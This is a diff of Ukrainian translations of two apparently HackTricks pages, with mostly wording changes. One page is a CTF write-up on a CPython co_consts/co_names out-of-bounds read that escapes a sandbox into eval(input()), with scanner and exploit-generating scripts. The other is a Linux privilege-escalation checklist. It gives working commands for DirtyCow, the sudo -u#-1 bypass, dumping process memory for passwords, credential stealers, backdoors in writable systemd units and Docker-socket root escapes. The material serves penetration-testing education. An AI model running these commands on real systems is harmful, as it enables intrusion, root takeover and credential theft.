- Microsoft Learn: Апаратно забезпечений захист стеку в режимі ядра (тіньові стеки CET у Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
||||
|
||||
|
||||
@ -21,7 +21,7 @@ print(eval(code, {'__builtins__': {}}))1234
|
||||
```
|
||||
Ви можете ввести довільний код Python, і він буде скомпільований в [об'єкт коду Python](https://docs.python.org/3/c-api/code.html). Однак `co_consts` та `co_names` цього об'єкта коду будуть замінені на порожній кортеж перед eval цього об'єкта коду.
|
||||
|
||||
Таким чином, всі вирази, що містять константи (наприклад, числа, рядки тощо) або імена (наприклад, змінні, функції), можуть в кінцевому підсумку викликати сегментаційну помилку.
|
||||
Таким чином, всі вирази, що містять константи (наприклад, числа, рядки тощо) або імена (наприклад, змінні, функції), можуть призвести до сегментаційної помилки в кінці.
|
||||
|
||||
### Out of Bound Read <a href="#out-of-bound-read" id="out-of-bound-read"></a>
|
||||
|
||||
@ -35,7 +35,7 @@ print(eval(code, {'__builtins__': {}}))1234
|
||||
6 BUILD_LIST 3
|
||||
8 RETURN_VALUE12345
|
||||
```
|
||||
Але що, якщо `co_names` стане порожнім кортежем? Опкод `LOAD_NAME 2` все ще виконується і намагається прочитати значення з тієї адреси пам'яті, з якої він спочатку повинен бути. Так, це функція читання за межами межі "out-of-bound read".
|
||||
Але що, якщо `co_names` стане порожнім кортежем? Опкод `LOAD_NAME 2` все ще виконується і намагається прочитати значення з тієї адреси пам'яті, з якої він спочатку повинен бути. Так, це "функція" читання за межами межі.
|
||||
|
||||
Основна концепція рішення проста. Деякі опкоди в CPython, наприклад `LOAD_NAME` і `LOAD_CONST`, вразливі (?) до OOB читання.
|
||||
|
||||
@ -49,19 +49,19 @@ PUSH(value);
|
||||
FAST_DISPATCH();
|
||||
}1234567
|
||||
```
|
||||
Таким чином, ми можемо використовувати функцію OOB, щоб отримати "ім'я" з довільного зсуву пам'яті. Щоб дізнатися, яке ім'я воно має і який у нього зсув, просто продовжуйте пробувати `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... І ви можете знайти щось приблизно при oparg > 700. Ви також можете спробувати використовувати gdb, щоб подивитися на розклад пам'яті, звичайно, але я не думаю, що це буде легше?
|
||||
Таким чином, ми можемо використовувати функцію OOB, щоб отримати "ім'я" з довільного зсуву пам'яті. Щоб дізнатися, яке ім'я воно має і який його зсув, просто продовжуйте пробувати `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... І ви можете знайти щось при oparg > 700. Ви також можете спробувати використовувати gdb, щоб подивитися на розклад пам'яті, звичайно, але я не думаю, що це буде легше?
|
||||
|
||||
### Генерація експлойту <a href="#generating-the-exploit" id="generating-the-exploit"></a>
|
||||
|
||||
Як тільки ми отримаємо ці корисні зсуви для імен / констант, як _ми_ отримуємо ім'я / константу з цього зсуву і використовуємо його? Ось трюк для вас:\
|
||||
Припустимо, ми можемо отримати `__getattribute__` ім'я з зсуву 5 (`LOAD_NAME 5`) з `co_names=()`, тоді просто зробіть наступні дії:
|
||||
Припустимо, ми можемо отримати ім'я `__getattribute__` з зсуву 5 (`LOAD_NAME 5`) з `co_names=()`, тоді просто зробіть наступні дії:
|
||||
```python
|
||||
[a,b,c,d,e,__getattribute__] if [] else [
|
||||
[].__getattribute__
|
||||
# you can get the __getattribute__ method of list object now!
|
||||
]1234
|
||||
```
|
||||
> Зверніть увагу, що немає необхідності називати його як `__getattribute__`, ви можете назвати його коротше або більш дивно
|
||||
> Зверніть увагу, що немає необхідності називати його як `__getattribute__`, ви можете назвати його коротше або якимось дивним чином
|
||||
|
||||
Ви можете зрозуміти причину, просто переглянувши його байт-код:
|
||||
```python
|
||||
@ -128,7 +128,7 @@ print(f'{n}: {ret}')
|
||||
|
||||
# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
|
||||
```
|
||||
А наступне призначене для генерації реального експлойту Python.
|
||||
А наступне призначене для створення реального експлойту Python.
|
||||
```python
|
||||
import sys
|
||||
import unicodedata
|
||||
@ -224,14 +224,14 @@ builtins['eval'](builtins['input']())
|
||||
|
||||
- Опкоди байт-коду CPython все ще індексують кортежі `co_consts` та `co_names` за допомогою цілочисельних операндів. Якщо зловмисник може змусити ці кортежі бути порожніми (або меншими за максимальний індекс, що використовується байт-кодом), інтерпретатор буде читати пам'ять за межами меж для цього індексу, що призведе до отримання довільного вказівника PyObject з сусідньої пам'яті. Відповідні опкоди включають принаймні:
|
||||
- `LOAD_CONST consti` → читає `co_consts[consti]`.
|
||||
- `LOAD_NAME namei`, `STORE_NAME`, `DELETE_NAME`, `LOAD_GLOBAL`, `STORE_GLOBAL`, `IMPORT_NAME`, `IMPORT_FROM`, `LOAD_ATTR`, `STORE_ATTR` → читають імена з `co_names[...]` (для 3.11+ зверніть увагу, що `LOAD_ATTR`/`LOAD_GLOBAL` зберігають біти прапорців у найменшому біті; фактичний індекс - `namei >> 1`). Дивіться документацію дизасемблера для точних семантик за версією. [Python dis docs].
|
||||
- `LOAD_NAME namei`, `STORE_NAME`, `DELETE_NAME`, `LOAD_GLOBAL`, `STORE_GLOBAL`, `IMPORT_NAME`, `IMPORT_FROM`, `LOAD_ATTR`, `STORE_ATTR` → читають імена з `co_names[...]` (для 3.11+ зверніть увагу, що `LOAD_ATTR`/`LOAD_GLOBAL` зберігають біти прапорців у найменшому біті; фактичний індекс - `namei >> 1`). Дивіться документацію дизасемблера для точних семантик для кожної версії. [Python dis docs].
|
||||
- Python 3.11+ впровадив адаптивні/вбудовані кеші, які додають приховані записи `CACHE` між інструкціями. Це не змінює OOB примітив; це лише означає, що якщо ви вручну створюєте байт-код, ви повинні враховувати ці кеш-елементи при побудові `co_code`.
|
||||
|
||||
Практичне значення: техніка на цій сторінці продовжує працювати на CPython 3.11, 3.12 та 3.13, коли ви можете контролювати об'єкт коду (наприклад, через `CodeType.replace(...)`) і зменшити `co_consts`/`co_names`.
|
||||
|
||||
### Швидкий сканер для корисних OOB індексів (сумісний з 3.11+/3.12+)
|
||||
|
||||
Якщо ви віддаєте перевагу перевіряти цікаві об'єкти безпосередньо з байт-коду, а не з високорівневого виходу, ви можете генерувати мінімальні об'єкти коду та методом грубої сили знаходити індекси. Допоміжна функція нижче автоматично вставляє вбудовані кеші, коли це необхідно.
|
||||
Якщо ви віддаєте перевагу перевіряти цікаві об'єкти безпосередньо з байт-коду, а не з високорівневого виходу, ви можете генерувати мінімальні об'єкти коду та грубо перебирати індекси. Допоміжна програма нижче автоматично вставляє вбудовані кеші, коли це необхідно.
|
||||
```python
|
||||
import dis, types
|
||||
|
||||
@ -274,7 +274,7 @@ Notes
|
||||
- Щоб замість цього перевірити імена, замініть `LOAD_CONST` на `LOAD_NAME`/`LOAD_GLOBAL`/`LOAD_ATTR` і відповідно налаштуйте використання стеку.
|
||||
- Використовуйте `EXTENDED_ARG` або кілька байтів `arg`, щоб досягти індексів >255, якщо це необхідно. Коли ви будуєте з `dis`, як зазначено вище, ви контролюєте лише низький байт; для більших індексів створіть сирі байти самостійно або розділіть атаку на кілька завантажень.
|
||||
|
||||
### Мінімальний шаблон RCE лише з байт-коду (co_consts OOB → builtins → eval/input)
|
||||
### Minimal bytecode-only RCE pattern (co_consts OOB → builtins → eval/input)
|
||||
|
||||
Якщо ви визначили індекс `co_consts`, який відповідає модулю builtins, ви можете відтворити `eval(input())` без жодних `co_names`, маніпулюючи стеком:
|
||||
```python
|
||||
@ -285,7 +285,7 @@ Notes
|
||||
# 3) BINARY_SUBSCR to do builtins["input"] / builtins["eval"], CALL each, and RETURN_VALUE
|
||||
# This pattern is the same idea as the high-level exploit above, but expressed in raw bytecode.
|
||||
```
|
||||
Цей підхід корисний у завданнях, які надають вам прямий контроль над `co_code`, одночасно примушуючи `co_consts=()` та `co_names=()` (наприклад, BCTF 2024 “awpcode”). Він уникає трюків на рівні виходу і зберігає розмір корисного навантаження малим, використовуючи операції стеку байт-коду та побудовники кортежів.
|
||||
Цей підхід корисний у завданнях, які надають вам прямий контроль над `co_code`, одночасно примушуючи `co_consts=()` та `co_names=()` (наприклад, BCTF 2024 “awpcode”). Він уникає трюків на рівні виходу та зберігає малий розмір корисного навантаження, використовуючи операції стеку байт-коду та побудовники кортежів.
|
||||
|
||||
### Захисні перевірки та пом'якшення для пісочниць
|
||||
|
||||
@ -332,5 +332,5 @@ raise ValueError("Bytecode refers to name index beyond co_names length")
|
||||
## Посилання
|
||||
|
||||
- Звіт Splitline про HITCON CTF 2022 “V O I D” (походження цієї техніки та високорівнева експлойт-ланцюг): https://blog.splitline.tw/hitcon-ctf-2022/
|
||||
- Документація Python disassembler (семантика індексів для LOAD_CONST/LOAD_NAME/etc., та низькі біти прапорців `LOAD_ATTR`/`LOAD_GLOBAL` для версій 3.11+): https://docs.python.org/3.13/library/dis.html
|
||||
- Документація Python disassembler (семантика індексів для LOAD_CONST/LOAD_NAME/etc., та низькі біти прапорців `LOAD_ATTR`/`LOAD_GLOBAL` для 3.11+): https://docs.python.org/3.13/library/dis.html
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -26,7 +26,7 @@ echo $PATH
|
||||
```
|
||||
### Kernel exploits
|
||||
|
||||
Перевірте версію ядра та чи існує якийсь експлойт, який можна використати для ескалації привілеїв.
|
||||
Перевірте версію ядра та чи є якісь експлойти, які можна використати для ескалації привілеїв.
|
||||
```bash
|
||||
cat /proc/version
|
||||
uname -a
|
||||
@ -43,13 +43,13 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2
|
||||
|
||||
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (виконати НА жертві, перевіряє експлойти лише для ядра 2.x)
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (виконати У жертви, перевіряє експлойти лише для ядра 2.x)
|
||||
|
||||
Завжди **шукайте версію ядра в Google**, можливо, ваша версія ядра вказана в якому-небудь експлойті ядра, і тоді ви будете впевнені, що цей експлойт дійсний.
|
||||
Завжди **шукайте версію ядра в Google**, можливо, ваша версія ядра згадується в якому-небудь експлойті ядра, і тоді ви будете впевнені, що цей експлойт дійсний.
|
||||
|
||||
### CVE-2016-5195 (DirtyCow)
|
||||
|
||||
Підвищення привілеїв в Linux - Ядро Linux <= 3.19.0-73.8
|
||||
Ескалація привілеїв Linux - Ядро Linux <= 3.19.0-73.8
|
||||
```bash
|
||||
# make dirtycow stable
|
||||
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
|
||||
@ -57,9 +57,9 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
|
||||
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
|
||||
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
|
||||
```
|
||||
### Версія Sudo
|
||||
### Sudo версія
|
||||
|
||||
На основі вразливих версій sudo, які з'являються в:
|
||||
Виходячи з вразливих версій sudo, які з'являються в:
|
||||
```bash
|
||||
searchsploit sudo
|
||||
```
|
||||
@ -73,7 +73,7 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.
|
||||
```
|
||||
sudo -u#-1 /bin/bash
|
||||
```
|
||||
### Dmesg підпис перевірки не вдався
|
||||
### Dmesg підпис перевірки не вдалося
|
||||
|
||||
Перевірте **smasher2 box of HTB** для **прикладу** того, як цю уразливість можна експлуатувати
|
||||
```bash
|
||||
@ -86,7 +86,7 @@ date 2>/dev/null #Date
|
||||
lscpu #CPU info
|
||||
lpstat -a 2>/dev/null #Printers info
|
||||
```
|
||||
## Перерахування можливих захистів
|
||||
## Перерахувати можливі засоби захисту
|
||||
|
||||
### AppArmor
|
||||
```bash
|
||||
@ -131,7 +131,7 @@ docker-security/
|
||||
|
||||
## Drives
|
||||
|
||||
Перевірте **що змонтовано і розмонтовано**, де і чому. Якщо щось розмонтовано, ви можете спробувати змонтувати це і перевірити на наявність приватної інформації.
|
||||
Перевірте **що змонтовано і не змонтовано**, де і чому. Якщо щось не змонтовано, ви можете спробувати змонтувати це і перевірити на наявність приватної інформації.
|
||||
```bash
|
||||
ls /dev 2>/dev/null | grep -i "sd"
|
||||
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
|
||||
@ -150,7 +150,7 @@ which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb bas
|
||||
```
|
||||
### Вразливе програмне забезпечення встановлено
|
||||
|
||||
Перевірте **версію встановлених пакетів і сервісів**. Можливо, є якась стара версія Nagios (наприклад), яка може бути використана для ескалації привілеїв…\
|
||||
Перевірте **версію встановлених пакетів та сервісів**. Можливо, є якась стара версія Nagios (наприклад), яка може бути використана для ескалації привілеїв…\
|
||||
Рекомендується вручну перевірити версію більш підозрілого встановленого програмного забезпечення.
|
||||
```bash
|
||||
dpkg -l #Debian
|
||||
@ -162,33 +162,33 @@ rpm -qa #Centos
|
||||
|
||||
## Процеси
|
||||
|
||||
Подивіться на **які процеси** виконуються і перевірте, чи має який-небудь процес **більше привілеїв, ніж повинен** (можливо, tomcat виконується від імені root?)
|
||||
Подивіться на **які процеси** виконуються та перевірте, чи має який-небудь процес **більше привілеїв, ніж повинен** (можливо, tomcat виконується від імені root?)
|
||||
```bash
|
||||
ps aux
|
||||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
Завжди перевіряйте наявність [**electron/cef/chromium debuggers**], ви можете зловживати цим для ескалації привілеїв](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляють їх, перевіряючи параметр `--inspect` у командному рядку процесу.\
|
||||
Завжди перевіряйте можливі [**electron/cef/chromium debuggers**], які працюють, ви можете зловживати цим для ескалації привілеїв](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляють їх, перевіряючи параметр `--inspect` у командному рядку процесу.\
|
||||
Також **перевірте свої привілеї над бінарними файлами процесів**, можливо, ви зможете перезаписати когось.
|
||||
|
||||
### Моніторинг процесів
|
||||
|
||||
Ви можете використовувати інструменти, такі як [**pspy**](https://github.com/DominicBreuker/pspy), для моніторингу процесів. Це може бути дуже корисно для виявлення вразливих процесів, які виконуються часто або коли виконуються певні вимоги.
|
||||
Ви можете використовувати інструменти, такі як [**pspy**](https://github.com/DominicBreuker/pspy), для моніторингу процесів. Це може бути дуже корисно для виявлення вразливих процесів, які виконуються часто або коли виконуються певні умови.
|
||||
|
||||
### Пам'ять процесу
|
||||
|
||||
Деякі служби сервера зберігають **облікові дані у відкритому тексті в пам'яті**.\
|
||||
Зазвичай вам потрібні **привілеї root**, щоб читати пам'ять процесів, що належать іншим користувачам, тому це зазвичай більш корисно, коли ви вже є root і хочете виявити більше облікових даних.\
|
||||
Зазвичай вам потрібні **root-привілеї**, щоб читати пам'ять процесів, які належать іншим користувачам, тому це зазвичай більш корисно, коли ви вже є root і хочете виявити більше облікових даних.\
|
||||
Однак пам'ятайте, що **як звичайний користувач ви можете читати пам'ять процесів, якими володієте**.
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що в даний час більшість машин **не дозволяють ptrace за замовчуванням**, що означає, що ви не можете скинути інші процеси, які належать вашому непривабливому користувачу.
|
||||
> Зверніть увагу, що в наш час більшість машин **не дозволяють ptrace за замовчуванням**, що означає, що ви не можете скинути інші процеси, які належать вашому непривабливому користувачу.
|
||||
>
|
||||
> Файл _**/proc/sys/kernel/yama/ptrace_scope**_ контролює доступність ptrace:
|
||||
>
|
||||
> - **kernel.yama.ptrace_scope = 0**: всі процеси можуть бути налагоджені, якщо у них однаковий uid. Це класичний спосіб, як працював ptracing.
|
||||
> - **kernel.yama.ptrace_scope = 1**: лише батьківський процес може бути налагоджений.
|
||||
> - **kernel.yama.ptrace_scope = 2**: лише адміністратор може використовувати ptrace, оскільки це вимагає можливості CAP_SYS_PTRACE.
|
||||
> - **kernel.yama.ptrace_scope = 1**: тільки батьківський процес може бути налагоджений.
|
||||
> - **kernel.yama.ptrace_scope = 2**: тільки адміністратор може використовувати ptrace, оскільки це вимагає можливості CAP_SYS_PTRACE.
|
||||
> - **kernel.yama.ptrace_scope = 3**: жоден процес не може бути відстежений за допомогою ptrace. Після встановлення потрібно перезавантаження, щоб знову активувати ptracing.
|
||||
|
||||
#### GDB
|
||||
@ -215,7 +215,7 @@ done
|
||||
```
|
||||
#### /proc/$pid/maps & /proc/$pid/mem
|
||||
|
||||
Для заданого ідентифікатора процесу, **maps показує, як пам'ять відображається в віртуальному адресному просторі цього процесу**; також показує **дозволи кожного відображеного регіону**. Псевдофайл **mem** **викриває пам'ять процесів**. З файлу **maps** ми знаємо, які **регіони пам'яті є читабельними** та їх зсуви. Ми використовуємо цю інформацію, щоб **перейти до файлу mem і скинути всі читабельні регіони** у файл.
|
||||
Для заданого ідентифікатора процесу, **maps показує, як пам'ять відображається в віртуальному адресному просторі цього процесу**; також показує **дозволи кожного відображеного регіону**. **mem** псевдофайл **викриває пам'ять процесів**. З файлу **maps** ми знаємо, які **регіони пам'яті є читабельними** та їх зсуви. Ми використовуємо цю інформацію, щоб **перейти до файлу mem і скинути всі читабельні регіони** у файл.
|
||||
```bash
|
||||
procdump()
|
||||
(
|
||||
@ -290,14 +290,14 @@ strings *.dump | grep -i password
|
||||
|
||||
Інструмент [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **викраде відкриті облікові дані з пам'яті** та з деяких **відомих файлів**. Для правильної роботи потрібні права root.
|
||||
|
||||
| Особливість | Назва процесу |
|
||||
| Функція | Назва процесу |
|
||||
| ------------------------------------------------- | -------------------- |
|
||||
| Пароль GDM (Kali Desktop, Debian Desktop) | gdm-password |
|
||||
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
|
||||
| LightDM (Ubuntu Desktop) | lightdm |
|
||||
| VSFTPd (Активні FTP з'єднання) | vsftpd |
|
||||
| Apache2 (Активні сесії HTTP Basic Auth) | apache2 |
|
||||
| OpenSSH (Активні SSH сесії - Використання Sudo) | sshd: |
|
||||
| OpenSSH (Активні SSH сесії - використання Sudo) | sshd: |
|
||||
|
||||
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
|
||||
```bash
|
||||
@ -364,7 +364,7 @@ ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
|
||||
Ви можете моніторити процеси, щоб шукати процеси, які виконуються кожні 1, 2 або 5 хвилин. Можливо, ви зможете скористатися цим і підвищити привілеї.
|
||||
|
||||
Наприклад, щоб **моніторити кожні 0.1с протягом 1 хвилини**, **сортувати за менш виконуваними командами** і видалити команди, які виконувалися найбільше, ви можете зробити:
|
||||
Наприклад, щоб **моніторити кожні 0.1с протягом 1 хвилини**, **сортувати за найменш виконуваними командами** і видалити команди, які виконувалися найбільше, ви можете зробити:
|
||||
```bash
|
||||
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
|
||||
```
|
||||
@ -399,13 +399,13 @@ ExecStart=faraday-server
|
||||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
|
||||
```
|
||||
Тоді створіть **виконуваний файл** з **тим самим ім'ям, що й відносний шлях до бінарного файлу** в папці системи systemd, в яку ви можете записувати, і коли служба буде запитана для виконання вразливої дії (**Start**, **Stop**, **Reload**), ваш **бекдор буде виконано** (зазвичай неправа користувачі не можуть запускати/зупиняти служби, але перевірте, чи можете ви використовувати `sudo -l`).
|
||||
Тоді створіть **виконуваний файл** з **тим самим ім'ям, що й відносний шлях до бінарного файлу** в папці системи systemd, в яку ви можете записувати, і коли служба буде запитана для виконання вразливої дії (**Почати**, **Зупинити**, **Перезавантажити**), ваш **бекдор буде виконано** (користувачі без привілеїв зазвичай не можуть починати/зупиняти служби, але перевірте, чи можете ви використовувати `sudo -l`).
|
||||
|
||||
**Дізнайтеся більше про служби за допомогою `man systemd.service`.**
|
||||
|
||||
## **Таймери**
|
||||
|
||||
**Таймери** - це файли одиниць systemd, назва яких закінчується на `**.timer**`, які контролюють `**.service**` файли або події. **Таймери** можуть бути використані як альтернатива cron, оскільки вони мають вбудовану підтримку календарних подій та монотонних подій часу і можуть виконуватись асинхронно.
|
||||
**Таймери** - це файли одиниць systemd, назва яких закінчується на `**.timer**`, які контролюють `**.service**` файли або події. **Таймери** можуть бути використані як альтернатива cron, оскільки вони мають вбудовану підтримку календарних подій та монотонних подій часу і можуть виконуватися асинхронно.
|
||||
|
||||
Ви можете перерахувати всі таймери за допомогою:
|
||||
```bash
|
||||
@ -419,7 +419,7 @@ Unit=backdoor.service
|
||||
```
|
||||
У документації ви можете прочитати, що таке Unit:
|
||||
|
||||
> Юніт, який потрібно активувати, коли цей таймер спливає. Аргументом є назва юніта, суфікс якої не є ".timer". Якщо не вказано, це значення за замовчуванням є сервісом, який має таку ж назву, як юніт таймера, за винятком суфікса. (Див. вище.) Рекомендується, щоб назва юніта, який активується, і назва юніта таймера були однаковими, за винятком суфікса.
|
||||
> Юніт, який потрібно активувати, коли цей таймер спливає. Аргументом є ім'я юніта, суфікс якого не є ".timer". Якщо не вказано, це значення за замовчуванням є сервісом, який має таку ж назву, як юніт таймера, за винятком суфікса. (Див. вище.) Рекомендується, щоб ім'я юніта, який активується, і ім'я юніта таймера були однаковими, за винятком суфікса.
|
||||
|
||||
Отже, щоб зловживати цим дозволом, вам потрібно:
|
||||
|
||||
@ -439,7 +439,7 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li
|
||||
|
||||
## Сокети
|
||||
|
||||
Unix Domain Sockets (UDS) дозволяють **комунікацію процесів** на тих же або різних машинах у рамках моделей клієнт-сервер. Вони використовують стандартні файли дескрипторів Unix для міжкомп'ютерної комунікації і налаштовуються через файли `.socket`.
|
||||
Unix Domain Sockets (UDS) дозволяють **комунікацію процесів** на тих же або різних машинах у рамках моделей клієнт-сервер. Вони використовують стандартні файли дескрипторів Unix для міжкомп'ютерної комунікації та налаштовуються через файли `.socket`.
|
||||
|
||||
Сокети можна налаштувати за допомогою файлів `.socket`.
|
||||
|
||||
@ -449,16 +449,16 @@ Unix Domain Sockets (UDS) дозволяють **комунікацію проц
|
||||
- `Accept`: Приймає булевий аргумент. Якщо **true**, **екземпляр служби створюється для кожного вхідного з'єднання** і лише сокет з'єднання передається йому. Якщо **false**, всі сокети прослуховування самі **передаються запущеній одиниці служби**, і лише одна одиниця служби створюється для всіх з'єднань. Це значення ігнорується для датаграмних сокетів і FIFO, де одна одиниця служби безумовно обробляє весь вхідний трафік. **За замовчуванням false**. З міркувань продуктивності рекомендується писати нові демони лише в спосіб, який підходить для `Accept=no`.
|
||||
- `ExecStartPre`, `ExecStartPost`: Приймає одну або кілька командних рядків, які **виконуються перед** або **після** того, як прослуховуючі **сокети**/FIFO **створені** та прив'язані відповідно. Перший токен командного рядка повинен бути абсолютним іменем файлу, за ним слідують аргументи для процесу.
|
||||
- `ExecStopPre`, `ExecStopPost`: Додаткові **команди**, які **виконуються перед** або **після** того, як прослуховуючі **сокети**/FIFO **закриті** та видалені відповідно.
|
||||
- `Service`: Вказує ім'я **одиниці служби**, **яку потрібно активувати** при **вхідному трафіку**. Ця настройка дозволена лише для сокетів з Accept=no. За замовчуванням вона відповідає службі, яка має таку ж назву, як сокет (з заміною суфікса). У більшості випадків не повинно бути необхідності використовувати цю опцію.
|
||||
- `Service`: Вказує ім'я **одиниці служби**, **яку потрібно активувати** при **вхідному трафіку**. Ця настройка дозволена лише для сокетів з Accept=no. За замовчуванням це служба, яка має таку ж назву, як сокет (з заміненим суфіксом). У більшості випадків не повинно бути необхідності використовувати цю опцію.
|
||||
|
||||
### Записувані .socket файли
|
||||
|
||||
Якщо ви знайдете **записуваний** файл `.socket`, ви можете **додати** на початку секції `[Socket]` щось на кшталт: `ExecStartPre=/home/kali/sys/backdoor`, і бекдор буде виконано перед створенням сокета. Тому вам **можливо, доведеться почекати, поки машина перезавантажиться.**\
|
||||
Якщо ви знайдете **записуваний** файл `.socket`, ви можете **додати** на початку секції `[Socket]` щось на зразок: `ExecStartPre=/home/kali/sys/backdoor`, і бекдор буде виконано перед створенням сокета. Тому вам **можливо, доведеться почекати, поки машина перезавантажиться.**\
|
||||
_Зверніть увагу, що система повинна використовувати цю конфігурацію файлу сокета, інакше бекдор не буде виконано_
|
||||
|
||||
### Записувані сокети
|
||||
|
||||
Якщо ви **виявите будь-який записуваний сокет** (_тепер ми говоримо про Unix сокети, а не про конфігураційні файли `.socket`_), тоді **ви можете спілкуватися** з цим сокетом і, можливо, експлуатувати вразливість.
|
||||
Якщо ви **виявите будь-який записуваний сокет** (_тепер ми говоримо про Unix сокети, а не про конфігураційні файли `.socket`_), то **ви можете спілкуватися** з цим сокетом і, можливо, експлуатувати вразливість.
|
||||
|
||||
### Перерахунок Unix сокетів
|
||||
```bash
|
||||
@ -481,7 +481,7 @@ socket-command-injection.md
|
||||
|
||||
### HTTP сокети
|
||||
|
||||
Зверніть увагу, що можуть бути деякі **сокети, які слухають HTTP** запити (_Я не говорю про .socket файли, а про файли, які діють як unix сокети_). Ви можете перевірити це за допомогою:
|
||||
Зверніть увагу, що можуть бути деякі **сокети, що слухають HTTP** запити (_Я не говорю про .socket файли, а про файли, що діють як unix сокети_). Ви можете перевірити це за допомогою:
|
||||
```bash
|
||||
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
||||
```
|
||||
@ -489,11 +489,11 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
||||
|
||||
### Записуваний Docker Socket
|
||||
|
||||
Docker сокет, який зазвичай знаходиться за адресою `/var/run/docker.sock`, є критично важливим файлом, який слід захистити. За замовчуванням, він доступний для запису користувачу `root` та членам групи `docker`. Наявність доступу на запис до цього сокета може призвести до підвищення привілеїв. Ось розгляд того, як це можна зробити, та альтернативні методи, якщо Docker CLI недоступний.
|
||||
Docker сокет, який зазвичай знаходиться за адресою `/var/run/docker.sock`, є критично важливим файлом, який слід захистити. За замовчуванням, він доступний для запису користувачу `root` та членам групи `docker`. Наявність доступу на запис до цього сокету може призвести до підвищення привілеїв. Ось розгляд того, як це можна зробити, а також альтернативні методи, якщо Docker CLI недоступний.
|
||||
|
||||
#### **Підвищення привілеїв за допомогою Docker CLI**
|
||||
|
||||
Якщо у вас є доступ на запис до Docker сокета, ви можете підвищити привілеї, використовуючи наступні команди:
|
||||
Якщо у вас є доступ на запис до Docker сокету, ви можете підвищити привілеї, використовуючи наступні команди:
|
||||
```bash
|
||||
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
|
||||
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
|
||||
@ -564,9 +564,9 @@ runc-privilege-escalation.md
|
||||
|
||||
D-Bus — це складна **система міжпроцесорної комунікації (IPC)**, яка дозволяє додаткам ефективно взаємодіяти та обмінюватися даними. Розроблена з урахуванням сучасної системи Linux, вона пропонує надійну структуру для різних форм комунікації між додатками.
|
||||
|
||||
Система є універсальною, підтримуючи базову IPC, яка покращує обмін даними між процесами, нагадуючи **покращені сокети домену UNIX**. Крім того, вона допомагає у трансляції подій або сигналів, сприяючи безперебійній інтеграції між компонентами системи. Наприклад, сигнал від Bluetooth-демона про вхідний дзвінок може змусити музичний плеєр вимкнути звук, покращуючи досвід користувача. Крім того, D-Bus підтримує систему віддалених об'єктів, спрощуючи запити на послуги та виклики методів між додатками, спрощуючи процеси, які раніше були традиційно складними.
|
||||
Система є універсальною, підтримуючи базову IPC, яка покращує обмін даними між процесами, нагадуючи **покращені сокети домену UNIX**. Крім того, вона допомагає у трансляції подій або сигналів, сприяючи безперебійній інтеграції між компонентами системи. Наприклад, сигнал від Bluetooth-демона про вхідний дзвінок може змусити музичний плеєр вимкнути звук, покращуючи досвід користувача. Крім того, D-Bus підтримує систему віддалених об'єктів, спрощуючи запити на послуги та виклики методів між додатками, спрощуючи процеси, які раніше були складними.
|
||||
|
||||
D-Bus працює за моделлю **дозволу/заборони**, керуючи дозволами на повідомлення (виклики методів, випромінювання сигналів тощо) на основі кумулятивного ефекту відповідних правил політики. Ці політики визначають взаємодії з шиною, потенційно дозволяючи підвищення привілеїв через експлуатацію цих дозволів.
|
||||
D-Bus працює за моделлю **дозволу/заборони**, керуючи дозволами на повідомлення (виклики методів, випромінювання сигналів тощо) на основі кумулятивного ефекту відповідності політикам. Ці політики визначають взаємодії з шиною, потенційно дозволяючи підвищення привілеїв через експлуатацію цих дозволів.
|
||||
|
||||
Приклад такої політики в `/etc/dbus-1/system.d/wpa_supplicant.conf` надається, детально описуючи дозволи для користувача root на володіння, відправку та отримання повідомлень від `fi.w1.wpa_supplicant1`.
|
||||
|
||||
@ -614,7 +614,7 @@ lsof -i
|
||||
```
|
||||
### Відкриті порти
|
||||
|
||||
Завжди перевіряйте мережеві сервіси, що працюють на машині, з якою ви не змогли взаємодіяти перед її доступом:
|
||||
Завжди перевіряйте мережеві сервіси, що працюють на машині, з якою ви не змогли взаємодіяти до її доступу:
|
||||
```bash
|
||||
(netstat -punta || ss --ntpu)
|
||||
